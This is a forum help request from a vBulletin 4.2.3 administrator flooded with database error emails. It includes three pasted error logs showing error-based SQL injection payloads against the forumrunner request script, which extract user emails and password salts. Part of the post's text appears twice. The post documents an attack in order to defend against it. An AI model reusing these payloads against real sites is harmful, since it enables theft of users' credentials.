I have been getting hundreds (500+) of these email messages since last night. Here's what I've tried so far:
The website appears fully functional on the outside. One interesting fact is the date/times don't match up. The message is stamped as 8/17 7:39pm (right about when I started getting the first emails) according to Gmail's time stamp...but then if you look at the message itself, "Error Date: Wednesday, August 17th 2016 @ 11:39:28 PM" appears on them as well, but still receiving them currently (it's 10AM EST on 8/18 for reference, and the included messages below just came in a few minutes ago).
What should be my next step? I'm not sure what to try short of digging through the tables and blindly trying to delete stuff in the hopes that it fixes it. A little guidance would go a long way, so I'd appreciate any suggestions anyone might have.
- repaired/optimized the tables
- cleared cache
- fixed unique indexes
- updated from 4.2.2 to 4.2.3
- ip blocked 217.26.119.251 (not my ip, but seems to be the common thread, so I thought I'd try it)
The website appears fully functional on the outside. One interesting fact is the date/times don't match up. The message is stamped as 8/17 7:39pm (right about when I started getting the first emails) according to Gmail's time stamp...but then if you look at the message itself, "Error Date: Wednesday, August 17th 2016 @ 11:39:28 PM" appears on them as well, but still receiving them currently (it's 10AM EST on 8/18 for reference, and the included messages below just came in a few minutes ago).
What should be my next step? I'm not sure what to try short of digging through the tables and blindly trying to delete stuff in the hopes that it fixes it. A little guidance would go a long way, so I'd appreciate any suggestions anyone might have.
Code:
Database error in vBulletin 4.2.3: Invalid SQL: SELECT post.postid, post.threadid, post.visible, post.title, post.userid, thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid FROM post AS post LEFT JOIN thread AS thread USING (threadid) WHERE postid IN (-1) AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x6c457635,CAST(email AS CHAR),0x72374273) FROM user WHERE userid=3234) from information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -); MySQL Error : Duplicate entry '[email protected]' for key 'group_key' Error Number : 1062 Request Date : Wednesday, August 17th 2016 @ 11:39:28 PM Error Date : Wednesday, August 17th 2016 @ 11:39:28 PM Script : [URL]http://www.buffaloscooby.com/forumrunner/request.php[/URL] Referrer : IP Address : 217.26.119.251 Username : Unregistered Classname : vB_Database_MySQLi MySQL Version :
Code:
Database error in vBulletin 4.2.3: Invalid SQL: SELECT post.postid, post.threadid, post.visible, post.title, post.userid, thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid FROM post AS post LEFT JOIN thread AS thread USING (threadid) WHERE postid IN (-1) AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x6c457635,CAST(salt AS CHAR),0x72374273) FROM user WHERE userid=3236) from information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -); MySQL Error : Duplicate entry 'lEv5+;Or7Bs1' for key 'group_key' Error Number : 1062 Request Date : Wednesday, August 17th 2016 @ 11:39:30 PM Error Date : Wednesday, August 17th 2016 @ 11:39:30 PM [IMG]https://ssl.gstatic.com/ui/v1/icons/mail/images/cleardot.gif[/IMG] Script : [URL]http://www.buffaloscooby.com/forumrunner/request.php[/URL] Referrer : IP Address : 217.26.119.251 Username : Unregistered Classname : vB_Database_MySQLi MySQL Version :
Code:
Database error in vBulletin 4.2.3: Invalid SQL: SELECT post.postid, post.threadid, post.visible, post.title, post.userid, thread.forumid, thread.title AS thread_title, thread.postuserid, thread.visible AS thread_visible, thread.firstpostid FROM post AS post LEFT JOIN thread AS thread USING (threadid) WHERE postid IN (-1) AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x6c457635,CAST(email AS CHAR),0x72374273) FROM user WHERE userid=3246) from information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -); MySQL Error : Duplicate entry '[email protected]' for key 'group_key' Error Number : 1062 Request Date : Wednesday, August 17th 2016 @ 11:39:42 PM Error Date : Wednesday, August 17th 2016 @ 11:39:42 PM [IMG]https://ssl.gstatic.com/ui/v1/icons/mail/images/cleardot.gif[/IMG] Script : [URL]http://www.buffaloscooby.com/forumrunner/request.php[/URL] Referrer : IP Address : 217.26.119.251 Username : Unregistered Classname : vB_Database_MySQLi MySQL Version :
Comment